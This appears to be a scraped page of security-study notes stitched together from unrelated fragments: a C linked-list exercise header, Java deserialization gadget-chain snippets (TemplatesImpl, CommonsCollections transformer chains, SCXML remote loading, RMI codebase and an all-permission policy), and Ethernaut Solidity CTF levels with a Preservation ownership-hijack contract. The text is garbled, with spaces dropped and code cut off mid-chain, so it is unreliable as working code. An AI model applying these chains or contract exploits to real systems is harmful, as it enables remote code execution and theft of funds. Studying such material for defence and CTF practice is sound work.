typedefstructnode { union { int count; int value; }; structnode *next; } node;
/* initialize a linked list, head node is special */ node *linked_list_init();
/* destroy a linked list, free spaces */ voidlinked_list_free(node *head);
/* display elements in the linked list */ char *linked_list_tostring(node *head);
/* get the length of the linked list */ intlinked_list_size(node *head);
/* insert val at the last of the linked list */ voidlinked_list_append(node *head, int val);
/* * You should implement functions according to the follow function * declarations. One thing to note that, the parameter *index* * refers to the position of value node, i.e., index 0 corresponds * to the next node of the header node. * * In case of out-of-bound index, your code should do nothing in all * functions. As for remove, if the value doesn't exist, do nothing. * * For get, if index out of bound, return INT_MIN. * For search, if value not exists. return -1. * For search_all, if value not exists, return empty list. */
/* insert val at position index */ voidlinked_list_insert(node *head, int val, int index);
/* delete node at position index */ voidlinked_list_delete(node *head, int index);
/* remove the first occurence node of val */ voidlinked_list_remove(node *head, int val);
/* remove all occurences of val */ voidlinked_list_remove_all(node *head, int val);
/* get value at position index */ intlinked_list_get(node *head, int index);
/* search the first index of val */ intlinked_list_search(node *head, int val);
/* search all indexes of val */ node *linked_list_search_all(node *head, int val);
/** * -- Test some classic Java deserialization chains. * -- Generate payloads and deserialization them, mostly run 'calc' to demonstrate RCE. * -- Some payloads have conflicting dependencies, but smooth execution can be ensured by appropriately modifying the / * pom.xml, adjusting the SDK path, and annotating methods. * * @author qst137 * @version 1.0 */
publicfinalclassTemplatesImplimplementsTemplates, Serializable{ // only related code // last staticfinalclassTransletClassLoaderextendsClassLoader { TransletClassLoader(ClassLoader parent) { super(parent); } Class defineClass(finalbyte[] b) { return defineClass(null, b, 0, b.length); } } // the second last privatevoiddefineTransletClasses() throws TransformerConfigurationException {
// ... for (inti=0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); // ... } } // the third last private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) returnnull;
if (_class == null) defineTransletClasses(); // ... } } // the fourth last publicsynchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer;
// put fake transformers // use reflection instead of "put" method to avoid unexpected serialization Transformer[] fakeTransformers = newTransformer[]{newConstantTransformer(CC3_ANY4)}; TransformertransformerChain=newChainedTransformer(fakeTransformers);
// Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") Kkey= (K)s.readObject(); @SuppressWarnings("unchecked") Vvalue= (V)s.readObject(); // sync is eliminated for performance reconstitutionPut(table, key, value); } }
privatevoidreconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { thrownewjava.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. inthash= key.hashCode(); intindex= (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { thrownewjava.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = newEntry<>(hash, key, value, e); count++; }
privatevoidreadObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();
// Read in (and discard) array length s.readInt();
// engine to execute the scxml instance SCXMLExecutorexecutor=newSCXMLExecutor(); // parse SCXML URL into SCXML model SCXMLscxml= SCXMLReader.read("http://127.0.0.1:8000/poc.xml");
// set state machine (scxml instance) to execute executor.setStateMachine(scxml); executor.go();
publicclassRMIClient { publicstaticvoidmain(String[] args)throws RemoteException, NotBoundException { // link registry Registryregistry= LocateRegistry.getRegistry(RMI_SERVER_IP, PORT); System.out.println(Arrays.toString(registry.list())); // lookup by name RemoteInterfacestub= (RemoteInterface) registry.lookup("RemoteObject"); System.out.println(stub.sayHello()); System.out.println(stub.sayGoodbye()); } }
动态类加载
1 2
System.setProperty("java.rmi.server.codebase", URL); // same as startup params [-Djava.rmi.server.codebase="{URL}"]
Client 调用的对象 RemoteObject如果在 Server 不存在,如果 Server 有设置 java.rmi.server.codebase ,则会从 URL 寻找字节码 RemoteObject.class;
安全策略
1 2 3
if (System.getSecurityManager() == null) { System.setSecurityManager(newRMISecurityManager()); }
安全策略
策略文件默认为:$JAVA_HOME/jre/lib/security/java.policy:
自定义策略文件 rmi.policy:
1 2 3
grant { permission java.security.AllPermission; }
设置管理器:
1 2 3 4
if (System.getSecurityManager() == null) { System.setSecurityManager(newRMISecurityManager()); } // same as startup params [-Djava.security.manager]
指定策略:
1 2
System.setProperty("java.security.policy", RemoteServer.class.getClassLoader().getResource("rmi.policy").toString()); // same as startup params [-Djava.security.policy=rmi.policy]
如果 Server 接收和 Client 发送的类型签名不一致,会抛出一个错误,如果将 Server 端的 RMIClass 接口改为:
1 2 3 4
publicinterfaceRMIClassextendsRemote { public String sayHello()throws RemoteException; public String sayHello(Integer i)throws RemoteException; }
报错如下:
1 2
// remoteException occurred in server thread; nested exception is: // java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object
// remove the pair "'test':1" inserted by LazyMap#get() outerMap.remove("test");
// use reflection to put real transformer in Fieldf= ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
// This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
// The goal of this level is for you to claim ownership of the instance you are given.
// Things that might help
// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope. // Understanding what it means for delegatecall to be context-preserving. // Understanding how storage variables are stored and accessed. // Understanding how casting works between different data types.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
// set the time for timezone 1 function setFirstTime(uint256 _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }
// set the time for timezone 2 function setSecondTime(uint256 _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } }
// Simple library contract to set the time contract LibraryContract { // stores a timestamp uint256 storedTime;
function setTime(uint256 _time) public { storedTime = _time; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract PreservationAttack{ address public timeZone1Library; address public timeZone2Library; address public owner; function setTime(uint256) public { owner = tx.origin; } }
// A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.
// This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.
// This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
// Things that might help: // Remember what you've learned from getting past the first gatekeeper - the first gate is the same. // The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See Solidity Assembly for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper. // The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see Solidity cheatsheet). The Coin Flip level is also a good place to start when approaching this challenge.
// NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint256 public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player;